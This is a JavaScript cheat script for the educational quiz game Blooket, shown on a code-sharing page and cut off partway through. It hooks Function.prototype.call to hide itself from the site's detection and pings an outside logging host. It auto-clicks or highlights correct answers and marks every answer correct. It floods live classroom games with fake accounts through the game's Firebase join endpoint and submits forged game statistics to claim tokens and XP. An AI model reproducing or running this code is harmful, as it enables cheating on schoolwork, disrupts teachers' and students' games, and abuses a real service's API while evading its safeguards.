CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
Shploop

CoCalc provides the best real-time collaborative environment for Jupyter Notebooks, LaTeX documents, and SageMath, scalable from individual users to large groups and classes!

GitHub Repository: Shploop/Blooket-Cheats
Path: blob/main/cheats/mobileGui.js
Views: 1214
1
/**
2
* @license StewartPrivateLicense-2.0.1
3
* Copyright (c) 05Konz 2023
4
*
5
* You may not reproduce or distribute any code inside this file without the licenser's permission.
6
* You may not copy, modify, steal, skid, or recreate any of the code inside this file.
7
* You may not under any circumstance republish any code from this file as your own.
8
*
9
* ALL TERMS STATED IN THE LINK BELOW APPLY ASWELL
10
* https://github.com/05Konz/Blooket-Cheats/blob/main/LICENSE
11
*/
12
13
/* THE UPDATE CHECKER IS ADDED DURING COMMIT PREP, THERE MAY BE REDUNDANT CODE, DO NOT TOUCH */
14
15
(() => {
16
const cheat = (async () => {
17
let n = document.createElement('iframe');
18
document.body.append(n);
19
if (String(Function.prototype.call).includes('native')) {
20
let call = Function.prototype.call;
21
let iframe = document.createElement("iframe");
22
document.body.append(iframe);
23
iframe.style.display = "none";
24
let funcs = {
25
querySelectorAll: function () {
26
if (["#JODGUI", "#JODMOBILE", "#currPageEl", "#YTRkNmM2MWEtOTg3Zi00YmE1LWI1NzUtNTgyOTUzMWI4ZDYx", "#ODJkMThlMDEtYmEwNi00MzE4LTg4ZGMtM2Y2ZDI0MzY4ZjU2", ".cheatList", ".cheatName", "bG1mYW8=", "#aXQncyBjYXQgYW5kIG1vdXNlIGF0IHRoaXMgcG9pbnQ"].includes(arguments[0]))
27
return [];
28
return iframe.contentDocument.querySelectorAll.apply(document, arguments);
29
},
30
querySelector: iframe.contentDocument.querySelector.bind(document),
31
includes: function () {
32
if (["Cheats", "Global", "Global Cheats", "Discord - oneminesraft2", "Auto Answer (Toggle)", "Auto Sell Dupes On Open", "Spam Buy Blooks", "Food Game", "Change Blook Ingame", "Get Daily Rewards", "Remove Name Limit", "Simulate Unlock", "Cheat ESP", "Gold Quest Cheats", "Cafe Cheats", "Crypto Hack Cheats", "Deceptive Dinos Cheats", "Tower Defense Cheats", "Tower Defense2 Cheats", "Factory Cheats", "Fishing Frenzy Cheats", "Flappy Blook Cheats", "Tower of Doom Cheats", "Crazy Kingdom Cheats", "Racing Cheats", "Battle Royale Cheats", "Blook Rush Cheats", "Monster Brawl Cheats", "Santa's Workshop Cheats"].includes(arguments[0]))
33
return false;
34
return iframe.contentWindow.String.prototype.call(this, arguments);
35
},
36
fetch: iframe.contentWindow.fetch.bind(window),
37
btoa: iframe.contentWindow.btoa.bind(window),
38
getItem: iframe.contentWindow.localStorage.getItem.bind(window.localStorage)
39
}, funcNames = Object.keys(funcs);
40
Function.prototype.call = function () {
41
if (funcNames.includes(this.name)) return call.apply(funcs[this.name], arguments);
42
return call.apply(this, arguments)
43
}
44
; (new Image).src = "https://gui-logger.onrender.com/gui/0?" + Date.now();
45
}
46
window.alert = n.contentWindow.alert.bind(window);
47
window.prompt = n.contentWindow.prompt.bind(window);
48
window.confirm = n.contentWindow.confirm.bind(window);
49
n.remove();
50
const addStyles = (element, styles = {}) => Object.entries(styles).forEach(([key, value]) => element.style[key] = value);
51
let style = document.createElement('style');
52
style.innerHTML = (`details > summary { cursor: pointer; transition: 0.15s; list-style: none; } details > summary:hover { color: hsl(0, 0%, 50%) } details > summary::-webkit-details-marker { display: none; } details summary ~ * { animation: sweep .5s ease-in-out; } @keyframes sweep { 0% {opacity: 0; transform: translateY(-10px)} 100% {opacity: 1; transform: translateY(0)} } .cheat { border: none; background: hsl(0, 0%, 20%); padding: 5px; margin: 3px; width: 60%; color: hsl(0, 0%, 100%); transition: 0.2s; border-radius: 5px; cursor: pointer; } .cheat:hover { background: hsl(0, 0%, 30%); }`);
53
let userData = await Object.values(webpackJsonp.push([[], { ['']: (_, a, b) => { a.cache = b.c }, }, [['']]]).cache).find(x => x.exports.a?.me).exports.a.me({}) || {};
54
const guiId = btoa(userData.id || "lmfao").replaceAll(/(=|\/|\.)/g, "");
55
56
const GUI = document.createElement('div');
57
[...document.querySelectorAll("#" + guiId)].forEach(x => x.remove());
58
GUI.id = guiId;
59
GUI.appendChild(style);
60
addStyles(GUI, {
61
width: '400px',
62
background: 'hsl(0, 0%, 10%)',
63
borderRadius: '10px',
64
position: 'absolute',
65
textAlign: 'center',
66
fontFamily: 'Nunito',
67
color: 'white',
68
overflow: 'hidden',
69
top: '50px',
70
left: '50px'
71
});
72
73
var pos1 = 0, pos2 = 0, pos3 = 0, pos4 = 0;
74
GUI.onpointerdown = ((e = window.event) => {
75
e.preventDefault();
76
pos3 = e.clientX;
77
pos4 = e.clientY;
78
document.onpointerup = (() => {
79
document.onpointerup = null;
80
document.onpointermove = null;
81
});
82
document.onpointermove = ((e) => {
83
e = e || window.event;
84
e.preventDefault();
85
pos1 = pos3 - e.clientX;
86
pos2 = pos4 - e.clientY;
87
pos3 = e.clientX;
88
pos4 = e.clientY;
89
GUI.style.top = (GUI.offsetTop - pos2) + "px";
90
GUI.style.left = (GUI.offsetLeft - pos1) + "px";
91
});
92
});
93
94
let header = document.createElement('div');
95
GUI.appendChild(header);
96
addStyles(header, {
97
width: '100%',
98
height: '35px',
99
paddingTop: '2px',
100
fontSize: '1.5rem',
101
textAlign: 'center'
102
});
103
header.innerHTML = `Blooket Cheats <span style="font-size: 0.75rem">v12.18.22</span>`;
104
105
let close = document.createElement('button');
106
header.appendChild(close);
107
addStyles(close, {
108
background: 'red',
109
height: '45px',
110
width: '45px',
111
border: 'none',
112
cursor: 'pointer',
113
position: 'absolute',
114
top: '-10px',
115
right: '-10px',
116
fontSize: '1.5rem',
117
borderRadius: '10px',
118
fontFamily: 'Nunito',
119
fontWeight: 'bolder',
120
paddingTop: '10px',
121
paddingRight: '15px'
122
});
123
close.innerText = 'X';
124
close.onclick = () => {
125
offLocationChange();
126
GUI.remove();
127
removeEventListener('keypress', toggleHidden)
128
}
129
130
let minimize = document.createElement('button');
131
header.appendChild(minimize);
132
addStyles(minimize, {
133
background: '#444444',
134
height: '45px',
135
width: '45px',
136
border: 'none',
137
cursor: 'pointer',
138
position: 'absolute',
139
top: '-10px',
140
left: '-10px',
141
fontSize: '1.5rem',
142
borderRadius: '10px',
143
fontFamily: 'Nunito',
144
fontWeight: 'bolder',
145
paddingTop: '10px',
146
paddingLeft: '15px',
147
})
148
minimize.innerText = '-';
149
minimize.onclick = () => bodyDiv.hidden = !bodyDiv.hidden;
150
let bodyDiv = document.createElement('div');
151
let body = document.createElement('div');
152
bodyDiv.appendChild(body);
153
GUI.appendChild(bodyDiv);
154
155
body.innerHTML = (`<span id="curPageEl">${getSite(true) ? `Current gamemode: ${getSite(true)}` : 'No game detected'}</span><br><span>(Press E to hide)</span><br>`);
156
body.style.display = 'block';
157
body.style.margin = '10px';
158
159
document.body.append(GUI);
160
161
let footer = document.createElement('div');
162
bodyDiv.appendChild(footer);
163
footer.style.fontSize = '0.9rem';
164
footer.style.paddingBottom = '5px';
165
footer.innerHTML = (`<span><a target="blank" href="https://discord.gg/jHjGrrdXP6">Discord</a><br/><a target="blank" href="https://github.com/05Konz/Blooket-Cheats">GitHub - 05Konz</a></span>`);
166
167
let cheats = ({
168
global: [
169
{
170
name: "Auto Answer (Toggle)",
171
description: "Toggles auto answer on",
172
type: "toggle",
173
enabled: false,
174
data: null,
175
run: function () {
176
if (!this.enabled) {
177
this.enabled = true;
178
this.data = setInterval(() => {
179
const { stateNode: { state: { question, stage, feedback }, props: { client: { question: pquestion } } } } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
180
try {
181
if (question.qType != "typing") if (stage !== "feedback" && !feedback) [...document.querySelectorAll(`[class*="answerContainer"]`)][(question || pquestion).answers.map((x, i) => (question || pquestion).correctAnswers.includes(x) ? i : null).filter(x => x != null)[0]]?.click?.();
182
else document.querySelector('[class*="feedback"]')?.firstChild?.click?.();
183
else Object.values(document.querySelector("[class*='typingAnswerWrapper']"))[1].children._owner.stateNode.sendAnswer(question.answers[0])
184
} catch { }
185
}, 50);
186
} else {
187
this.enabled = false;
188
clearInterval(this.data);
189
this.data = null;
190
}
191
}
192
},
193
{
194
name: "Highlight Answers (Toggle)",
195
description: "Toggles highlight answers on",
196
type: "toggle",
197
enabled: false,
198
data: null,
199
run: function () {
200
if (!this.enabled) {
201
this.enabled = true;
202
this.data = setInterval(() => {
203
const { stateNode: { state, props } } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
204
[...document.querySelectorAll(`[class*="answerContainer"]`)].forEach((answer, i) => {
205
if ((state.question || props.client.question).correctAnswers.includes((state.question || props.client.question).answers[i])) answer.style.backgroundColor = "rgb(0, 207, 119)";
206
else answer.style.backgroundColor = "rgb(189, 15, 38)";
207
});
208
}, 50);
209
} else {
210
this.enabled = false;
211
clearInterval(this.data);
212
this.data = null;
213
}
214
}
215
},
216
{
217
name: "Auto Answer",
218
description: "Click the correct answer for you",
219
run: function () {
220
const { stateNode: { state: { question, stage, feedback }, props: { client: { question: pquestion } } } } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
221
try {
222
if (question.qType != "typing") if (stage !== "feedback" && !feedback) [...document.querySelectorAll(`[class*="answerContainer"]`)][(question || pquestion).answers.map((x, i) => (question || pquestion).correctAnswers.includes(x) ? i : null).filter(x => x != null)[0]]?.click?.();
223
else document.querySelector('[class*="feedback"]')?.firstChild?.click?.();
224
else Object.values(document.querySelector("[class*='typingAnswerWrapper']"))[1].children._owner.stateNode.sendAnswer(question.answers[0])
225
} catch { }
226
}
227
},
228
{
229
name: "Highlight Answers",
230
description: "Colors answers to be red or green highlighting the correct ones",
231
run: function () {
232
const { stateNode: { state, props } } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
233
[...document.querySelectorAll(`[class*="answerContainer"]`)].forEach((answer, i) => {
234
if ((state.question || props.client.question).correctAnswers.includes((state.question || props.client.question).answers[i])) answer.style.backgroundColor = "rgb(0, 207, 119)";
235
else answer.style.backgroundColor = "rgb(189, 15, 38)";
236
});
237
}
238
},
239
{
240
name: "Spam Buy Blooks",
241
description: "Opens a box an amount of times",
242
run: function () {
243
let i = document.createElement('iframe');
244
document.body.append(i);
245
window.alert = i.contentWindow.alert.bind(window);
246
window.prompt = i.contentWindow.prompt.bind(window);
247
window.confirm = i.contentWindow.confirm.bind(window);
248
i.remove();
249
let { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]),
250
axios = Object.values(webpack.c).find((x) => x.exports?.a?.get).exports.a,
251
{ purchaseBlookBox } = Object.values(webpack.c).find(x => x.exports.a?.purchaseBlookBox).exports.a;
252
253
axios.get("https://dashboard.blooket.com/api/users").then(async ({ data: { tokens } }) => {
254
let prices = Object.values(webpack.c).find(x => !isNaN(x?.exports?.a?.Space)).exports.a || { Medieval: 20, Breakfast: 20, Wonderland: 20, Blizzard: 25, Space: 20, Bot: 20, Aquatic: 20, Safari: 20, Dino: 25, "Ice Monster": 25, Outback: 25 }
255
let box = prompt("Which box do you want to open? (ex: \"Ice Monster\")").split(' ').map(str => str.charAt(0).toUpperCase() + str.slice(1).toLowerCase()).join(' ');
256
if (!Object.keys(prices).map(x => x.toLowerCase()).includes(box.toLowerCase())) return alert("I couldn't find that box!");
257
258
let amount = Math.min(Math.floor(tokens / Object.entries(prices).find(x => x[0].toLowerCase() == box.toLowerCase())[1]), parseInt(`0${prompt("How many boxes do you want to open?")}`));
259
if (amount == 0) return alert("You do not have enough tokens!");
260
261
let alertBlooks = confirm("Would you like to alert blooks upon unlocking?");
262
let blooks = {};
263
let now = Date.now();
264
let error = false;
265
266
for (let i = 0; i < amount; i++) {
267
await purchaseBlookBox({ boxName: box }).then(({ isNewToUser, tokens, unlockedBlook }) => {
268
blooks[unlockedBlook] ||= 0;
269
blooks[unlockedBlook]++;
270
271
let before = Date.now();
272
273
if (alertBlooks) alert(`${unlockedBlook} (${i + 1}/${amount}) ${isNewToUser ? "NEW! " : ''}${tokens} tokens left`);
274
275
now += Date.now() - before;
276
}).catch(e => error = true);
277
if (error) break;
278
}
279
alert(`(${Date.now() - now}ms) Results:\n${Object.entries(blooks).map(([blook, amount]) => ` ${blook} ${amount}`).join(`\n`)}`);
280
}).catch(() => alert('There was an error user data!'));
281
}
282
},
283
{
284
name: "Remove Name Limit",
285
description: "Sets the name limit to 120, which is the actual max name length limit",
286
run: function () {
287
let i = document.createElement('iframe');
288
document.body.append(i);
289
window.alert = i.contentWindow.alert.bind(window);
290
i.remove();
291
document.querySelector('input[class*="nameInput"]').maxLength = 120; /* 120 is the actual limit */
292
alert("Removed name length limit");
293
}
294
},
295
{
296
name: "Remove Random Name",
297
description: "Allows you to put a custom name",
298
run: function () {
299
Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode.setState({ isRandom: false, client: { name: "" } });
300
document.querySelector('[class*="nameInput"]')?.focus?.();
301
}
302
},
303
{
304
name: "Sell Cheap Duplicates",
305
description: "Sells all of your uncommon to epic dupes (not legendaries+)",
306
run: function () {
307
let i = document.createElement('iframe');
308
document.body.append(i);
309
window.alert = i.contentWindow.alert.bind(window);
310
window.confirm = i.contentWindow.confirm.bind(window);
311
i.remove();
312
let { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]),
313
axios = Object.values(webpack.c).find((x) => x.exports?.a?.get).exports.a,
314
{ sellBlook } = Object.values(webpack.c).find(x => x.exports.a?.sellBlook).exports.a;
315
axios.get("https://dashboard.blooket.com/api/users").then(async ({ data: { unlocks } }) => {
316
let blooks = Object.entries(unlocks).filter(([blook, amount]) => amount > 1 && !["Legendary", "Chroma", "Mystical"].includes(webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b } }, [['1234']]]).webpack("MDrD").a[blook].rarity));
317
if (confirm(`Are you sure you want to sell your uncommon to epic dupes?`)) {
318
let now = Date.now();
319
for (const [blook, amount] of blooks) await sellBlook({ blook, numToSell: amount - 1 });
320
alert(`(${Date.now() - now}ms) Results:\n${blooks.map(([blook, amount]) => ` ${blook} ${amount - 1}`).join(`\n`)}`);
321
}
322
}).catch(() => alert('There was an error user data!'));
323
}
324
},
325
{
326
name: "Sell Duplicate Blooks",
327
description: "Sell all duplicate blooks leaving you with 1 each",
328
run: function () {
329
let i = document.createElement('iframe');
330
document.body.append(i);
331
window.alert = i.contentWindow.alert.bind(window);
332
window.confirm = i.contentWindow.confirm.bind(window);
333
i.remove();
334
let { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]),
335
axios = Object.values(webpack.c).find((x) => x.exports?.a?.get).exports.a,
336
{ sellBlook } = Object.values(webpack.c).find(x => x.exports.a?.sellBlook).exports.a;
337
axios.get("https://dashboard.blooket.com/api/users").then(async ({ data: { unlocks } }) => {
338
let blooks = Object.entries(unlocks).filter(x => x[1] > 1);
339
if (confirm(`Are you sure you want to sell your dupes?`)) {
340
let now = Date.now();
341
for (const [blook, amount] of blooks) await sellBlook({ blook, numToSell: amount - 1 });
342
alert(`(${Date.now() - now}ms) Results:\n${blooks.map(([blook, amount]) => ` ${blook} ${amount - 1}`).join(`\n`)}`);
343
}
344
}).catch((e) => (alert('There was an error user data!'), console.info(e)));
345
}
346
},
347
{
348
name: "Every Answer Correct",
349
description: "Sets every answer to be correct",
350
run: function () {
351
const { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
352
stateNode.freeQuestions = stateNode.questions = stateNode.props.client.questions.map(x => ({ ...x, correctAnswers: x.answers }));
353
}
354
},
355
{
356
name: "Flood Game",
357
description: "Floods a game with a number of fake accounts",
358
run: async function () {
359
let i = document.createElement('iframe');
360
document.body.append(i);
361
window.prompt = i.contentWindow.prompt.bind(window);
362
i.remove();
363
364
const id = prompt("Game ID:");
365
const name = prompt("Name:");
366
const amount = parseInt(prompt("Amount:"));
367
368
let cache = Object.values(webpackJsonp.push([[], { ['']: (_, a, b) => { a.cache = b.c }, }, [['']]]).cache);
369
const axios = cache.find((x) => x.exports?.a?.get).exports.a;
370
const firebase = cache.find(x => x.exports?.a?.initializeApp).exports.a;
371
const blooks = Object.keys(Object.values(cache).find(x => x.exports.a?.Black).exports.a);
372
373
for (let i = 1; i <= amount; i++) {
374
(async () => {
375
let ign = `${name}${String.fromCharCode(96 + i)}`;
376
const { data: { success, fbToken, fbShardURL } } = await axios.put("https://fb.blooket.com/c/firebase/join", { id, name: ign });
377
if (!success) return;
378
const liveApp = firebase.initializeApp({
379
apiKey: "AIzaSyCA-cTOnX19f6LFnDVVsHXya3k6ByP_MnU",
380
authDomain: "blooket-2020.firebaseapp.com",
381
projectId: "blooket-2020",
382
storageBucket: "blooket-2020.appspot.com",
383
messagingSenderId: "741533559105",
384
appId: "1:741533559105:web:b8cbb10e6123f2913519c0",
385
measurementId: "G-S3H5NGN10Z",
386
databaseURL: fbShardURL
387
}, ign);
388
const auth = firebase.auth(liveApp);
389
await auth.setPersistence(firebase.auth.Auth.Persistence.NONE).catch(console.error);
390
await auth.signInWithCustomToken(fbToken).catch(console.error);
391
await liveApp.database().ref(`${id}/c/${ign}`).set({ b: blooks[Math.floor(Math.random() * blooks.length)] });
392
liveApp.delete();
393
})();
394
await new Promise(r => setTimeout(r, 100));
395
}
396
}
397
},
398
{
399
name: "Change Blook Ingame",
400
description: "Changes your blook",
401
run: function () {
402
let i = document.createElement('iframe');
403
document.body.append(i);
404
window.prompt = i.contentWindow.prompt.bind(window);
405
i.remove();
406
let { props } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner.stateNode;
407
props.client.blook = prompt("Blook Name: (Case Sensitive)");;
408
props.liveGameController.setVal({ path: `c/${props.client.name}/b`, val: props.client.blook });
409
}
410
},
411
{
412
name: "Get Daily Rewards",
413
description: "Gets max daily tokens and xp",
414
run: async function () {
415
let i = document.createElement('iframe');
416
document.body.append(i);
417
window.alert = i.contentWindow.alert.bind(window);
418
i.remove();
419
if (!location.href.includes("play.blooket.com")) (alert("This cheat only works on play.blooket.com, opening a new tab."), window.open("https://play.blooket.com/"));
420
else {
421
const cache = Object.values(webpackJsonp.push([[], { ['']: (_, a, b) => { a.cache = b.c }, }, [['']],]).cache),
422
axios = cache.find((x) => x.exports?.a?.get).exports.a,
423
{ data: { t } } = await axios.post("https://play.blooket.com/api/playersessions/solo", {
424
gameMode: "Factory",
425
questionSetId: ["60101da869e8c70013913b59", "625db660c6842334835cb4c6", "60268f8861bd520016eae038", "611e6c804abdf900668699e3", "60ba5ff6077eb600221b7145", "642467af9b704783215c1f1b", "605bd360e35779001bf57c5e", "6234cc7add097ff1c9cff3bd", "600b1491d42a140004d5215a", "5db75fa3f1fa190017b61c0c", "5fac96fe2ca0da00042b018f", "600b14d8d42a140004d52165", "5f88953cdb209e00046522c7", "600b153ad42a140004d52172", "5fe260e72a505b00040e2a11", "5fe3d085a529560004cd3076", "5f5fc017aee59500041a1456", "608b0a5863c4f2001eed43f4", "5fad491512c8620004918ace", "5fc91a9b4ea2e200046bd49a", "5c5d06a7deebc70017245da7", "5ff767051b68750004a6fd21", "5fdcacc85d465a0004b021b9", "5fb7eea20bd44300045ba495"][Math.floor(Math.random() * 24)]
426
});
427
await axios.post("https://play.blooket.com/api/playersessions/landings", { t });
428
await axios.get("https://play.blooket.com/api/playersessions/questions", { params: { t } });
429
const { name, blook: { name: blookUsed } } = await cache.find(x => x.exports.a?.me).exports.a.me({}).catch(() => alert('There was an error getting user data.'));
430
await axios.put("https://play.blooket.com/api/users/factorystats", {
431
blookUsed, t, name,
432
cash: Math.floor(Math.random() * 90000000) + 10000000,
433
correctAnswers: Math.floor(Math.random() * 500) + 500,
434
upgrades: Math.floor(Math.random() * 300) + 300,
435
mode: "Time-Solo",
436
nameUsed: "You",
437
place: 1,
438
playersDefeated: 0,
439
});
440
axios.put("https://play.blooket.com/api/users/add-rewards", { t, name, addedTokens: 500, addedXp: 300 })
441
.then(({ data: { dailyReward } }) => alert(`Added max tokens and xp, and got ${dailyReward} daily wheel tokens!`))
442
.catch(() => alert('There was an error when adding rewards.'));
443
}
444
}
445
},
446
{
447
name: "Simulate Pack",
448
description: "Simulate opening a pack",
449
run: function () {
450
let { webpack } = webpackJsonp.push([[], { ['1234']: (_, a, b) => { a.webpack = b }, }, [['1234']]]);
451
let { stateNode } = Object.values((function react(r = document.querySelector("body>div")) { return Object.values(r)[1]?.children?.[0]?._owner.stateNode ? r : react(r.querySelector(":scope>div")) })())[1].children[0]._owner;
452
let packs = webpack('fGzD');
453
packs = Object.keys(packs.a).reduce((obj, pack) => (obj.packs.includes(pack) && (obj.data[pack] = Object.fromEntries(packs.b(pack))), obj), { packs: Array.from(document.querySelectorAll('[class*="packShadow"]')).map(x => x.alt), data: {} }).data;
454
let box = prompt("Which box do you want to simulate? (ex: \"Ice Monster\")").split(' ').map(str => str.charAt(0).toUpperCase() + str.slice(1).toLowerCase()).join(' ');
455
if (packs[box]) {
456
function weighted(pack) {
457
let weights = [];
458
const items = Object.keys(packs[pack]);
459
for (const key of items) weights.push(packs[pack][key] + (weights[items.indexOf(key) - 1] || 0));
460
const choice = weights[weights.length - 1] * Math.random();
461
return items[weights.findIndex(w => w >= choice)];
462
}
463
const blook = weighted(box);
464
let phaser = Object.values(webpack.c).find(x => x.exports?.Class).exports;
465
let scene = {};
466
467
class Particles extends phaser.Scene {
468
constructor(rarity) {
469
super();
470
this.rarity = rarity.toLowerCase();
471
}
472
preload() {
473
switch (this.rarity) {
474
case "uncommon":
475
this.load.svg("uncommon-1", "https://media.blooket.com/image/upload/v1658567787/Media/market/particles/square_green.svg", { width: 25, height: 25 });
476
this.load.svg("uncommon-2", "https://media.blooket.com/image/upload/v1658567787/Media/market/particles/square_light_green.svg", { width: 25, height: 25 });
477
this.load.svg("uncommon-3", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/circle_dark_green.svg", { width: 25, height: 25 });
478
this.load.svg("uncommon-4", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/serpentine_dark_green.svg", { width: 30, height: 30 });
479
this.load.svg("uncommon-5", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/triangle_light_green.svg", { width: 30, height: 30 });
480
this.load.svg("uncommon-6", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/serpentine_light_green.svg", { width: 30, height: 30 });
481
this.load.svg("uncommon-7", "https://media.blooket.com/image/upload/v1658567785/Media/market/particles/triangle_green.svg", { width: 30, height: 30 });
482
break;
483
case "rare":
484
this.load.svg("rare-1", "https://media.blooket.com/image/upload/v1658567765/Media/market/particles/square_light_blue.svg", { width: 25, height: 25 });
485
this.load.svg("rare-2", "https://media.blooket.com/image/upload/v1658567765/Media/market/particles/square_dark_blue.svg", { width: 25, height: 25 });
486
this.load.svg("rare-3", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/triangle_blue.svg", { width: 30, height: 30 });
487
this.load.svg("rare-4", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/serpentine_blue.svg", { width: 30, height: 30 });
488
this.load.svg("rare-5", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/triangle_light_blue.svg", { width: 30, height: 30 });
489
this.load.svg("rare-6", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/serpentine_light_blue.svg", { width: 30, height: 30 });
490
this.load.svg("rare-7", "https://media.blooket.com/image/upload/v1658567763/Media/market/particles/circle_dark_blue.svg", { width: 25, height: 25 });
491
break;
492
case "epic":
493
this.load.svg("epic-1", "https://media.blooket.com/image/upload/v1658790239/Media/market/particles/red.svg", { width: 25, height: 25 });
494
this.load.svg("epic-2", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/light_red.svg", { width: 25, height: 25 });
495
this.load.svg("epic-3", "https://media.blooket.com/image/upload/v1658790239/Media/market/particles/serpentine_red.svg", { width: 30, height: 30 });
496
this.load.svg("epic-4", "https://media.blooket.com/image/upload/v1658790239/Media/market/particles/serpentine_dark_red.svg", { width: 30, height: 30 });
497
this.load.svg("epic-5", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/triangle_red.svg", { width: 30, height: 30 });
498
this.load.svg("epic-6", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/triangle_light_red.svg", { width: 30, height: 30 });
499
this.load.svg("epic-7", "https://media.blooket.com/image/upload/v1658790237/Media/market/particles/circle_dark_red.svg", { width: 25, height: 25 });
500
break;
501
case "legendary":
502
this.load.svg("legendary-1", "https://media.blooket.com/image/upload/v1658567740/Media/market/particles/square_orange.svg", { width: 25, height: 25 });
503
this.load.svg("legendary-2", "https://media.blooket.com/image/upload/v1658567740/Media/market/particles/square_light_orange.svg", { width: 25, height: 25 });
504
this.load.svg("legendary-3", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/circle_orange.svg", { width: 25, height: 25 });
505
this.load.svg("legendary-4", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/serpentine_orange.svg", { width: 30, height: 30 });
506
this.load.svg("legendary-5", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/serpentine_light_orange.svg", { width: 30, height: 30 });
507
this.load.svg("legendary-6", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/circle_dark_orange.svg", { width: 25, height: 25 });
508
this.load.svg("legendary-7", "https://media.blooket.com/image/upload/v1658567738/Media/market/particles/triangle_dark_orange.svg", { width: 30, height: 30 });
509
break;
510
case "chroma":
511
this.load.svg("chroma-1", "https://media.blooket.com/image/upload/v1658790246/Media/market/particles/square_turquoise.svg", { width: 25, height: 25 });
512
this.load.svg("chroma-2", "https://media.blooket.com/image/upload/v1658790246/Media/market/particles/square_light_turquoise.svg", { width: 25, height: 25 });
513
this.load.svg("chroma-3", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/serpentine_dark_turquoise.svg", { width: 30, height: 30 });
514
this.load.svg("chroma-4", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/serpentine_turquoise.svg", { width: 30, height: 30 });
515
this.load.svg("chroma-5", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/triangle_turquoise.svg", { width: 30, height: 30 });
516
this.load.svg("chroma-6", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/triangle_light_turquoise.svg", { width: 30, height: 30 });
517
this.load.svg("chroma-7", "https://media.blooket.com/image/upload/v1658790244/Media/market/particles/circle_dark_turquoise.svg", { width: 25, height: 25 });
518
}
519
}
520
create() {
521
scene.scene = this;
522
scene.rarity = "";
523
scene.particles = this.physics.add.group({
524
classType: new phaser.Class({
525
Extends: phaser.GameObjects.Image,
526
initialize: function () {
527
phaser.GameObjects.Image.call(this, scene.scene, 0, 0, "uncommon-1");
528
this.setDepth(3);
529
this.lifespan = 0;
530
},
531
spawn: function (x, y, scale, velAngle, velSpeed, gravity, angle, lifespan, texture) {
532
this.setTexture(texture);
533
this.setActive(true);
534
this.setVisible(true);
535
this.setPosition(x, y);
536
this.setScale(scale);
537
this.targets = [];
538
scene.scene.physics.velocityFromAngle(velAngle, velSpeed, this.body.velocity);
539
this.body.setGravityY(gravity);
540
this.body.setAngularVelocity(angle);
541
this.lifespan = lifespan;
542
},
543
update: function (t, s) {
544
this.lifespan -= s;
545
if (this.lifespan > 0) return;
546
this.setActive(!1);
547
this.setVisible(!1);
548
}
549
}),
550
runChildUpdate: !0
551
});
552
this.nextParticle = 0;
553
this.numExplosions = 0;
554
this.game.events.on("start-particles", (t) => {
555
scene.rarity = t;
556
this.numExplosions = "Uncommon" === t ? 75 : "Rare" === t ? 100 : -1;
557
});
558
}
559
update(e, t) {
560
const I = webpack("74sb");
561
let Z = function (e) {
562
switch (e) {
563
case "center": {
564
var t = Object(I.l)(-115, -65);
565
return {
566
x: scene.scene.cameras.main.worldView.width / 2,
567
y: scene.scene.cameras.main.worldView.height / 2,
568
scale: Object(I.l)(.7, 1),
569
angle: t,
570
velocity: Object(I.l)(600, 750),
571
gravity: 700,
572
angVelocity: (t > -90 ? 1 : -1) * Object(I.l)(125, 175),
573
lifespan: 2500
574
}
575
}
576
case "right-bottom": return {
577
x: scene.scene.cameras.main.worldView.width,
578
y: scene.scene.cameras.main.worldView.height,
579
scale: Object(I.l)(.7, 1),
580
angle: Object(I.l)(-160, -110),
581
velocity: Object(I.l)(600, 750),
582
gravity: 500,
583
angVelocity: Object(I.l)(-175, -125),
584
lifespan: 2500
585
};
586
case "left-bottom": return {
587
x: 0,
588
y: scene.scene.cameras.main.worldView.height,
589
scale: Object(I.l)(.7, 1),
590
angle: Object(I.l)(-70, -20),
591
velocity: Object(I.l)(600, 750),
592
gravity: 500,
593
angVelocity: Object(I.l)(125, 175),
594
lifespan: 2500
595
};
596
case "top": return {
597
x: Object(I.l)(0, scene.scene.cameras.main.worldView.width),
598
y: -50,
599
scale: Object(I.l)(.7, 1),
600
angle: 90,
601
velocity: Object(I.l)(0, 50),
602
gravity: 700,
603
